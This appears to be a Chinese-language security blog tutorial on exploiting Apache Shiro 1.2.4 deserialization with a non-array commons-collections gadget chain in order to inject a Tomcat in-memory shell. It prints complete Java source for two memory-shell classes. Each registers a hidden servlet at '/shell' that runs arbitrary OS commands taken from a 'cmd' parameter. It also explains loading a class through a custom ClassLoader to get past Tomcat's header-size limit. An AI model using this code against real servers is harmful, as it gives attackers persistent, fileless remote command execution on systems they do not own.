环境搭建
本地搭建
这里就直接使用1.2.4版本的shiro环境
选择1.2.4版本的源码就行了(不管用git或者直接下载zip包)
直接打开该maven项目
idea自动会对项目依赖进行加载
我们使用其中官方给出的例子进行测试
也即是在samples
文件夹下的samples-web
项目
首先,我们对pom.xml就行修改
添加commons-collections 3.2.1的依赖和添加jstl依赖的版本
<dependency>
<groupId>javax.servlet</groupId>
<artifactId>jstl</artifactId>
<version>1.2</version>
<scope>runtime</scope>
</dependency>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
之后就是添加tomcat容器进行部署
启动服务之后为
docker搭建
直接使用dockerhub的镜像就行了
构造内存马
熟悉shiro的人都知道大部分的CC链在shiro下是不能够利用成功的
具体点就是因为在shiro进行反序列化的过程中,在org.apache.shiro.io.DefaultSerializer#deserialize
方法的调用中
这里并不是按照寻常的创建了一个ObjectInputStream
对象,之后调用该对象的readObject
方法进行反序列化利用
而对于ClassResolvingObjectInputStream
这个类对象,我们可以跟进看一下
这个类继承了ObjectInputStream
对象,且重写了其resolveClass
方法
我们来对比看看两者这个方法有些什么不同的地方
在ObjectInputStream#resolveClass
方法中,使用的是Class.forName
的方式获取类,而shiro中重写的方法中使用的是ClassUtils.forName
方法进行获取的,我们可以详细看看
这里是调用了THREAD_CL_ACCESSOR
属性的loadClass
方法进行加载
该属性是一个ExceptionIgnoringAccessor
对象
这里的实际调用的是WebappClassLoaderBase#loadClass
方法(动态调试)
先从cache中找已载入的类,如果前3点都没找到,再通过父类
URLClassLoader
的loadClass
函数载入。但是实际上此时loadClass的参数name值带上了数组的标志,即/Lorg/apache/commons/collections/Transformer;.class
,在参考的第二篇文章里有提到这个问题,所以导致shiro无法载入数组类型的对象。
所以想要在shiro环境下进行利用,只需要找到一个不带有数组的利用方式就行了
有很多,这里就只是以InvokerTransformer + LazyMap + TemplatesImpl
的组合来进行利用
因为我这里的tomcat环境是8.x版本, 我这里是动态创建了一个Servlet来注入内存马
所以我们需要获取到Context
这个上下文对象
获取方式同样有很多,我这里选用了直接从上下文中获取ApplicationContext
对象
// 从线程中获取类加载器WebappClassLoaderBase
WebappClassLoaderBase contextClassLoader = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
// 获取TomcatEmbeddedContext对象
Context context = contextClassLoader.getResources().getContext();
// 从上下文中获取ApplicationContext对象
ApplicationContext servletContext = (ApplicationContext) getField(context, Class.forName("org.apache.catalina.core.StandardContext").getDeclaredField("context"));
完整的构造
package pers.cc;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.catalina.Context;
import org.apache.catalina.Wrapper;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.loader.WebappClassLoaderBase;
import javax.servlet.*;
import java.io.IOException;
import java.io.InputStream;
import java.io.PrintWriter;
import java.lang.reflect.Field;
import java.util.Scanner;
public class TomcatMemshell2 extends AbstractTranslet implements Servlet{
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
public static Object getField(Object obj, Field field) {
try {
field.setAccessible(true);
return field.get(obj);
} catch (Exception e) {
}
return null;
}
static {
try {
// 从线程中获取类加载器WebappClassLoaderBase
WebappClassLoaderBase contextClassLoader = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
// 获取TomcatEmbeddedContext对象
Context context = contextClassLoader.getResources().getContext();
// 从上下文中获取ApplicationContext对象
ApplicationContext servletContext = (ApplicationContext) getField(context, Class.forName("org.apache.catalina.core.StandardContext").getDeclaredField("context"));
String name = "RoboTerh";
if (servletContext.getServletRegistration(name) == null) {
StandardContext o = null;
// 从 request 的 ServletContext 对象中循环判断获取 Tomcat StandardContext 对象
while (o == null) {
Field f = servletContext.getClass().getDeclaredField("context");
f.setAccessible(true);
Object object = f.get(servletContext);
if (object instanceof StandardContext) {
o = (StandardContext) object;
}
}
//自定义servlet
Servlet servlet = new TomcatMemshell2();
//用Wrapper封装servlet
Wrapper newWrapper = o.createWrapper();
newWrapper.setName(name);
newWrapper.setLoadOnStartup(1);
newWrapper.setServlet(servlet);
//向children中添加Wrapper
o.addChild(newWrapper);
//添加servlet的映射
o.addServletMappingDecoded("/shell", name);
}
} catch (Exception e) {
e.printStackTrace();
}
}
@Override
public void init(ServletConfig servletConfig) throws ServletException {
}
@Override
public ServletConfig getServletConfig() {
return null;
}
@Override
public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {
String cmd = servletRequest.getParameter("cmd");
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\a");
String output = s.hasNext() ? s.next() : "";
PrintWriter out = servletResponse.getWriter();
out.println(output);
out.flush();
out.close();
}
@Override
public String getServletInfo() {
return null;
}
@Override
public void destroy() {
}
}
之后使用不带数组的CC链生成序列化数据
测试内存马
启动我们clone下来的项目
失败的测试
之后将AES加密之后得到的base64编码的数据在Cookie字段发送
就这么简单就成功了吗?当然不是,在shiro服务端出现了报错
请求头太大了,不能够进行利用
那么如何绕过这个maxHttpHeaderSize
的限制呢?
在Litch1
中存在有种思路
基于全局储存的新思路 | Tomcat的一种通用回显方法研究 (qq.com)
但是我选用了另一种思路进行注入
Java代码执行漏洞中类动态加载的应用 | l3yx's blog
通过将创建一个自定义的ClassLoader
来对我们的恶意类进行加载
在ClassLoader
中主要的逻辑是获取一个POST传参ClassData
的值,然后调用defineClass
进行类的获取之后调用newInstance
进行实例化触发恶意类的静态代码块或者构造函数中的逻辑
所以,我们需要的是将我们注入内存马的恶意类的字节码进行base64编码之后进行POST传参,使得在shiro进行反序列化调用的时候会获取这个类并实例化,就能够绕过前面maxHttpHeaderSize
的限制
具体的恶意类为:
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//
package pers.cc;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
import java.io.InputStream;
import java.io.PrintWriter;
import java.lang.reflect.Field;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.Iterator;
import java.util.Scanner;
import javax.management.MBeanServer;
import javax.servlet.Servlet;
import javax.servlet.ServletConfig;
import javax.servlet.ServletContext;
import javax.servlet.ServletException;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import org.apache.catalina.Wrapper;
import org.apache.catalina.core.StandardContext;
import org.apache.coyote.Request;
import org.apache.coyote.RequestInfo;
import org.apache.tomcat.util.modeler.Registry;
public class TomcatMemshell3 extends AbstractTranslet implements Servlet {
public TomcatMemshell3() {
}
public static Object getField(Object obj, Field field) {
try {
field.setAccessible(true);
return field.get(obj);
} catch (Exception var3) {
return null;
}
}
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
public void init(ServletConfig servletConfig) throws ServletException {
}
public ServletConfig getServletConfig() {
return null;
}
public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {
String cmd = servletRequest.getParameter("cmd");
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = (new Scanner(in)).useDelimiter("\\a");
String output = s.hasNext() ? s.next() : "";
PrintWriter out = servletResponse.getWriter();
out.println(output);
out.flush();
out.close();
}
public String getServletInfo() {
return null;
}
public void destroy() {
}
static {
try {
MBeanServer mBeanServer = Registry.getRegistry((Object)null, (Object)null).getMBeanServer();
Object mbsInterceptor = getField(mBeanServer, Class.forName("com.sun.jmx.mbeanserver.JmxMBeanServer").getDeclaredField("mbsInterceptor"));
Object repository = getField(mbsInterceptor, Class.forName("com.sun.jmx.interceptor.DefaultMBeanServerInterceptor").getDeclaredField("repository"));
HashMap domainTb = (HashMap)getField(repository, Class.forName("com.sun.jmx.mbeanserver.Repository").getDeclaredField("domainTb"));
Object namedObject = ((HashMap)domainTb.get("Catalina")).get("name=\"http-nio-8080\",type=GlobalRequestProcessor");
Object object = getField(namedObject, Class.forName("com.sun.jmx.mbeanserver.NamedObject").getDeclaredField("object"));
Object resource = getField(object, Class.forName("org.apache.tomcat.util.modeler.BaseModelMBean").getDeclaredField("resource"));
ArrayList processors = (ArrayList)getField(resource, Class.forName("org.apache.coyote.RequestGroupInfo").getDeclaredField("processors"));
Iterator var8 = processors.iterator();
label41:
while(true) {
ServletContext servletContext;
String name;
do {
Request req;
do {
if (!var8.hasNext()) {
break label41;
}
Object processor = var8.next();
RequestInfo requestInfo = (RequestInfo)processor;
req = (Request)getField(requestInfo, Class.forName("org.apache.coyote.RequestInfo").getDeclaredField("req"));
} while(req.getParameters().getParameter("cmd") == null);
org.apache.catalina.connector.Request request = (org.apache.catalina.connector.Request)req.getNote(1);
servletContext = request.getServletContext();
name = "RoboTerh";
} while(servletContext.getServletRegistration(name) != null);
StandardContext o = null;
while(o == null) {
Field f = servletContext.getClass().getDeclaredField("context");
f.setAccessible(true);
Object obj = f.get(servletContext);
if (obj instanceof ServletContext) {
servletContext = (ServletContext)obj;
} else if (obj instanceof StandardContext) {
o = (StandardContext)obj;
}
}
Servlet servlet = new TomcatMemshell3();
Wrapper newWrapper = o.createWrapper();
newWrapper.setName(name);
newWrapper.setLoadOnStartup(1);
newWrapper.setServlet(servlet);
o.addChild(newWrapper);
o.addServletMappingDecoded("/shell", name);
}
} catch (Exception var18) {
var18.printStackTrace();
}
}
}
这里是动态创建了一个Servlet
成功的测试
之后我们可以进行测试
像这样进行传参
判断是否成功注入
成功创建了一个Servlet